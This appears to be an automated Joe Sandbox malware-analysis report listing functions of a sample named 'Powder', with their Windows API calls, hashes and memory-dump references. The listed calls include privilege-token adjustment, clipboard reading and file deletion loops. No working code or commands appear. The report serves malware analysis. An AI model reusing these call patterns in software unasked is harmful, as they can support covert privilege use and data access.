Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: be1cf3f7f5f0d7a80972161a3e65a96e9c48f833fd98aef2217dc26fb08f7f34
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: EDF085B6400208BFDF108F85EC00CEBBBB9EF89324F104598F9046A210D232EA218BA0

Function 00E14A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00E127AF,?,00000001), ref: 00E14A63

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 514c6b0c22d278024293034aea9297937944fb47e7b2d932a3001b9edf2041e4
Instruction ID: 58a6ba00c412b8b32c76ca179c5c2ac01804022895c84b136f34e234aa0f3530
Opcode Fuzzy Hash: 514c6b0c22d278024293034aea9297937944fb47e7b2d932a3001b9edf2041e4
Instruction Fuzzy Hash: 62F085B2181701CFCB348F24E490896BBF0AF0432A329A92EE1EAA3650D3319984CF04

Function 00E14AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00E14AD0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 600e1d3ab4fb81b9c5f49aaf1f0acadad2fa431916159885bb5158c2ffa70487
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: A0F0587240020DFFDF04CF80C941EAABB79FF04314F208589FC189A212D372DA21AB91

Function 00E72D68 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00E71E06: CloseHandle.KERNEL32(?,?,?,00E72D8B,?,?), ref: 00E71E12
Part of subcall function 00E71E06: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00E72D8B,?,?), ref: 00E71E1F

__beginthread.LIBCMT ref: 00E72D93

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseCreateEventHandle__beginthread
String ID:
API String ID: 1494023155-0
Opcode ID: bedfe2a4ccf2dda05cdc1c16f8c604a766ea8e17241ba325392f2bcc5be2dfd4
Instruction ID: b1547573813ad0388e4e5877b4e36b3681bb034415607aa016b5396f244d7f6c
Opcode Fuzzy Hash: bedfe2a4ccf2dda05cdc1c16f8c604a766ea8e17241ba325392f2bcc5be2dfd4
Instruction Fuzzy Hash: A9E0DF32910310A6E735EA78D806FE67EE88F003A0F14D86EFB4D30092D6B46A84C2E1

Function 00E209C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00E209E4

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 7cb12e7fe54130d094a9f7a23d54c5995e0f0274995951af7537e830d49fa52e
Instruction ID: b53861cbc80a04103f54899c0559fda9c45b307a21f43ab127b8aa175403e9a1
Opcode Fuzzy Hash: 7cb12e7fe54130d094a9f7a23d54c5995e0f0274995951af7537e830d49fa52e
Instruction Fuzzy Hash: 65E086369002285BC721D6A89C05FEAB7DDDF89790F0441F7FD08E7204D9619C818691

Function 00E64D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00E64D31

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: f7efb39984aa571d2fc0fc963a1c583de23c13c465307f4ea38aa849a7644404
Instruction ID: 06ea24c31f3b1e6356bdda5cdb71be9f742c4e68aca6bcbcb7d47c7fc3c0fa14
Opcode Fuzzy Hash: f7efb39984aa571d2fc0fc963a1c583de23c13c465307f4ea38aa849a7644404
Instruction Fuzzy Hash: EBD05EB590032C2FDB64E6A59C0DDFB7BACD744220F0006E27D6CD3101E9249D8586E1

Function 00E6394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E6384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00E63959,00000000,00000000,?,00E505DB,00EB8070,00000002,?,?), ref: 00E638CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00E505DB,00EB8070,00000002,?,?,?,00000000), ref: 00E63967

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 77e5b39c9d4a62e3635b81e114908d305f2f4bd85107f7e9d7a7e78be5a2d229
Instruction ID: 79415f6e93cde8a2e52663961f5c00dd72cad0957e4b78b7fce3fd89df90400e
Opcode Fuzzy Hash: 77e5b39c9d4a62e3635b81e114908d305f2f4bd85107f7e9d7a7e78be5a2d229
Instruction Fuzzy Hash: F3E04F35400208BFD720AF94D801ADAB7BCEB04310F00455BFD4092112D7B29E149B90

Function 00E63EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00E63E7D,?,?,?), ref: 00E63F0D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 466ab34ef0f2c97b72fe829686316d7fd03f44fc60faf55c40c5ce9fe8d82d62
Instruction ID: 3838154d2efef919f3b290bde9c255dafcadc56440323e867d1768995d22e066
Opcode Fuzzy Hash: 466ab34ef0f2c97b72fe829686316d7fd03f44fc60faf55c40c5ce9fe8d82d62
Instruction Fuzzy Hash: 62D0A7315E020CBFEF50DFA0CC06F68B7ACE701706F1002A5B504E90E0DA7269189795

Function 00E142AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00E506E6,00000000,00000000,00000000), ref: 00E142BF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 036314a40f7976102e0db151d2bfc1420c13b8e1515724e0bb3088ecc0fb77e9
Instruction ID: 5796ac67ff2b77c39ee5426c5f5868d29c5987828200369e329966ccc5db482d
Opcode Fuzzy Hash: 036314a40f7976102e0db151d2bfc1420c13b8e1515724e0bb3088ecc0fb77e9
Instruction Fuzzy Hash: AFD0C77464030CBFE710CB81DC46FA9777CE705710F500195FD0466290D6B27D548795

Function 00E64FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00E63BFE), ref: 00E64FED

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3165c64ab36d768e53cba72238f6def027d3599a5dfa24f01ec732d9efe73693
Instruction ID: 085d2b87b03841a52147fba09a0f5c52a4ede9a4563e8a89d6e68821716bc3ca
Opcode Fuzzy Hash: 3165c64ab36d768e53cba72238f6def027d3599a5dfa24f01ec732d9efe73693
Instruction Fuzzy Hash: 2AB092B61816005A9DE81E3D2A48099330299423ED7D83B83E478A54E19239888BE520

Function 00E2547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00E25486

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 944c139824825cdd5d9b38bea03aa8d70de04652198853b60c4b23787bd7892f
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: B0B0927644020CB7CE112A82FC03A697B69AB40668F408020FB1C2C162A673A6A09689

Function 00E6D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00E6D842

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7479b593224917ee4763414e0b6d3cad644134fabb943dca7d0696901022b395
Instruction ID: 830e6c93e9cc99e7792714eb4f2135ed96b2a4107ff7ac07bfe8ca5d6f8c6146
Opcode Fuzzy Hash: 7479b593224917ee4763414e0b6d3cad644134fabb943dca7d0696901022b395
Instruction Fuzzy Hash: CD71B7706483018FC708EF64D891AAEB7E0BF88394F44656DF596A73A2DB30ED45CB52

Function 00E6C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00E64005: FindFirstFileW.KERNEL32(?,?), ref: 00E6407C
Part of subcall function 00E64005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00E640CC
Part of subcall function 00E64005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00E640DD
Part of subcall function 00E64005: FindClose.KERNEL32(00000000), ref: 00E640F4

GetLastError.KERNEL32 ref: 00E6C292

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: badc06d997a6e316dfdf42da953ffb7a288770fa366679cd92d1f2b90d838497
Instruction ID: 93e7cb0084aa8131a38c3bb2f1e8407ccc5f2d1bdbb9dafc8d762d0ca44d55cc
Opcode Fuzzy Hash: badc06d997a6e316dfdf42da953ffb7a288770fa366679cd92d1f2b90d838497
Instruction Fuzzy Hash: FCF0A7712105108FCB10EF59E850F69B7E5AF44760F058019FA45A7391CB70BC41CB94

Function 00E142CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00E42F8B), ref: 00E142EF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e7463ea59b1edb642fdd792df0893f2f9cf98f99a660049538d2dc2abb961b5e
Instruction ID: 32a322c9839910e4d90cae78ede1c79357456c35ee84d44ff04b275b7e2046b7
Opcode Fuzzy Hash: e7463ea59b1edb642fdd792df0893f2f9cf98f99a660049538d2dc2abb961b5e
Instruction Fuzzy Hash: 30E07EB5500B018E82215F1AA804496FBE5ABA13613214A2EA0E6A26A0D2B058DACB50

Non-executed Functions

Function 00E8D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00E8D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E8D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00E8D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E8D2B8
SendMessageW.USER32 ref: 00E8D2E1
_wcsncpy.LIBCMT ref: 00E8D359
GetKeyState.USER32(00000011), ref: 00E8D37A
GetKeyState.USER32(00000009), ref: 00E8D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E8D39D
GetKeyState.USER32(00000010), ref: 00E8D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E8D3D0
SendMessageW.USER32 ref: 00E8D3F7
SendMessageW.USER32(?,00001030,?,00E8B9BA), ref: 00E8D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00E8D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00E8D526
SetCapture.USER32(?), ref: 00E8D52F
ClientToScreen.USER32(?,?), ref: 00E8D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00E8D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E8D5BB
ReleaseCapture.USER32 ref: 00E8D5C6
GetCursorPos.USER32(?), ref: 00E8D600
ScreenToClient.USER32(?,?), ref: 00E8D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E8D669
SendMessageW.USER32 ref: 00E8D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E8D6D4
SendMessageW.USER32 ref: 00E8D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00E8D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00E8D733
GetCursorPos.USER32(?), ref: 00E8D753
ScreenToClient.USER32(?,?), ref: 00E8D760
GetParent.USER32(?), ref: 00E8D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E8D7E9
SendMessageW.USER32 ref: 00E8D81A
ClientToScreen.USER32(?,?), ref: 00E8D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00E8D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E8D8D2
SendMessageW.USER32 ref: 00E8D8F5
ClientToScreen.USER32(?,?), ref: 00E8D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00E8D97B

Part of subcall function 00E029AB: GetWindowLongW.USER32(?,000000EB), ref: 00E029BC

GetWindowLongW.USER32(?,000000F0), ref: 00E8DA17

Strings

@GUI_DRAGID, xrefs: 00E8D562
F, xrefs: 00E8D8FB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: c2ae4f8bca18592f4785f1bca6f70ebcd2847346106da798e78c40ab9be41b82
Instruction ID: c18e7f59f118ceef48456bd118e79bae155ebac5769970ef54c98a6d30d457a4
Opcode Fuzzy Hash: c2ae4f8bca18592f4785f1bca6f70ebcd2847346106da798e78c40ab9be41b82
Instruction Fuzzy Hash: 8442AD712082419FD724EF28CC48FAABBE5FF88314F14161AF69DA72E1CB719859CB51

Function 00E58F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00E59399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E593E3
Part of subcall function 00E59399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E59410
Part of subcall function 00E59399: GetLastError.KERNEL32 ref: 00E5941D

_memset.LIBCMT ref: 00E58F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00E58FC3
CloseHandle.KERNEL32(?), ref: 00E58FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00E58FEB
GetProcessWindowStation.USER32 ref: 00E59004
SetProcessWindowStation.USER32(00000000), ref: 00E5900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00E59028

Part of subcall function 00E58DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00E58F27), ref: 00E58DFE
Part of subcall function 00E58DE9: CloseHandle.KERNEL32(?,?,00E58F27), ref: 00E58E10

Strings

, xrefs: 00E58F80
default, xrefs: 00E59023
winsta0, xrefs: 00E58FE6

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 622545ee6a3a70123115c1b8a2a618203c1f3f9bb8a5033585dbf33e5616a293
Instruction ID: 11a8e147c020893680dca690ddc774071e94486eb3989bb095de01892ad85e98
Opcode Fuzzy Hash: 622545ee6a3a70123115c1b8a2a618203c1f3f9bb8a5033585dbf33e5616a293
Instruction Fuzzy Hash: 74817971901219FFDF219FA0CE49AEE7BB9AF04319F05552AFD10B6262D7318E18DB20

Function 00E74632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00E90980), ref: 00E7465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00E7466A
GetClipboardData.USER32(0000000D), ref: 00E74672
CloseClipboard.USER32 ref: 00E7467E
GlobalLock.KERNEL32(00000000), ref: 00E7469A
CloseClipboard.USER32 ref: 00E746A4
GlobalUnlock.KERNEL32(00000000), ref: 00E746B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00E746C6
GetClipboardData.USER32(00000001), ref: 00E746CE
GlobalLock.KERNEL32(00000000), ref: 00E746DB
GlobalUnlock.KERNEL32(00000000), ref: 00E7470F
CloseClipboard.USER32 ref: 00E7481F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 7ff9282d893e13bdad8d783ed91ed56bef758dc05e71bc621ed481cbe7f172b3
Instruction ID: dac6501248c3113e45ef8493261460677b1f4241dfd7a14326a572858504d523
Opcode Fuzzy Hash: 7ff9282d893e13bdad8d783ed91ed56bef758dc05e71bc621ed481cbe7f172b3
Instruction Fuzzy Hash: 985182B1244205AFD304EF61DC49F6E77E8AF84B51F40552AF65AF21E2DF70D9088B62

Function 00E6F5D8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E6F5F9
